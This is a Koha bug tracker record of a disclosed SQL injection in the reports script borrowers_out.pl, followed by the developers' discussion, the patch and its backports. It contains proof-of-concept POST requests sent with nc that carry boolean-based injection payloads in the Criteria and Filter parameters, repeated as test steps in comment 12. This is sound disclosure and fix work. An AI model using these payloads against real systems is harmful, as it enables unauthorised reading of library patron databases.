Bug 14426

Summary: SQL Injection in Staff Client
Product: Koha Reporter: Raschin Tavakoli <RGhanad-Tavakoli>
Component: Staff interfaceAssignee: Bugs List <koha-bugs>
Status: CLOSED FIXED QA Contact: Testopia <testopia>
Severity: critical    
Priority: P5 - low CC: dsimos, fridolin.somers, gmcharlt, jonathan.druart, katrin.fischer, liz, mirko, mtj, robin, tomascohen
Version: master   
Hardware: All   
OS: All   
Change sponsored?: --- Patch complexity: Small patch
Documentation contact: Documentation submission:
Text to go in the release notes:
Version(s) released in:
Bug Depends on:    
Bug Blocks: 15138    
Attachments: Bug 14426 : SQL injection in borrowers_out.pl
Bug 14426: Escape or use placeholders for sql parameters
Bug 14426: Escape or use placeholders for sql parameters
[PASSED QA] Bug 14426: Escape or use placeholders for sql parameters

Description Raschin Tavakoli 2015-06-19 17:12:34 UTC
An SQL Injection vulnerability exists in the following script: 

/cgi-bin/koha/reports/borrowers_out.pl 

It allows attacker's to read arbritrary data via the database.

This happens through improper user input validation of the parameters Filter and Criteria.


Brief demonstration:

====================================================================
1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')" | nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')" | nc testbox 9002

====================================================================
2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a" | nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length: 183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b" | nc testbox 9002

====================================================================

You will notice different output in every second request, demonstrating the evaluation of the payload.


Prevention: Always use parameterized sql 

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-20 00:21:45 UTC
Is this script used anymore? It needs a total rewrite to be made safe. I wonder if we can remove it instead?

The same information can be retrieved from the guided reports, without the sql injection problems. What do others think?
Comment 2 Liz Rea 2015-06-20 04:23:21 UTC
I suspect there are lots of libraries out there that use this script, it would be a pretty popular one for public libraries. 

Agree that we can get the same sort of data out of saved reports, but how best to make sure we don't lose the functionality in default Koha (aka "how do we not tick off the librarians")?
Comment 3 Chris Cormack 2015-06-20 04:29:30 UTC
I'm not opposed to keeping the functionality but this script is a massive mess. I doubt I'll have time to rewrite it before Monday. So I'll probably remove it from 3.20 unless someone fixes it before then.
Comment 4 Liz Rea 2015-06-20 04:41:36 UTC
Maybe remove it and add a DB update that inserts an equivalent saved report? Question is, how to help people find it...
Comment 5 Katrin Fischer 2015-06-20 11:08:03 UTC
I think this script is in the GUI as 'Patrons who haven't checked out'.
The way it presents the data in a matrix can't be replicated by the guided reports/sql reports afaik. But the question is still if it is necessary for this kind of question. 

There are already sql reports in the library for similar questions. But I would not add one as default by update I think - as we can't write one that totally works the same.
Comment 6 Katrin Fischer 2015-06-20 11:10:09 UTC
Hm missed Liz comments at first... guess it's still too early for bug comments.
Comment 7 Chris Cormack 2015-06-22 07:47:54 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-22 09:14:48 UTC Comment hidden (obsolete)
Comment 9 Jonathan Druart 2015-06-22 09:15:31 UTC
I think we have other reports having the same problem.
Not sure to remove them is the solution :)
Comment 10 Chris Cormack 2015-06-22 09:20:58 UTC
I knew if I did a patch to remove it, someone would do one to fix it. :)
Comment 11 Chris Cormack 2015-06-22 20:52:31 UTC Comment hidden (obsolete)
Comment 12 Katrin Fischer 2015-06-22 22:11:29 UTC
Created attachment 40502 [details] [review]
[PASSED QA] Bug 14426: Escape or use placeholders for sql parameters

Does this patch enough to prevent sql injection in borrowers_out.pl?

====================================================================
1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')"
| nc testbox 9002

====================================================================
2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b"
| nc testbox 9002

====================================================================

Signed-off-by: Chris Cormack <chrisc@catalyst.net.nz>

Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Comment 13 Chris Cormack 2015-06-23 00:17:49 UTC
Pushed to 3.20.x will be in 3.20.1 (still needs to go into master too)
Comment 14 Liz Rea 2015-06-23 01:55:02 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 15 Fridolin Somers 2015-06-23 12:26:48 UTC
Pushed to 3.14.x, will be in 3.14.16
Comment 16 Tomás Cohen Arazi 2015-06-23 13:21:39 UTC
Patch pushed to master.

Thanks Jonathan!
Comment 17 Mason James 2015-06-23 14:05:10 UTC
Pushed to 3.16.x, will be in 3.16.12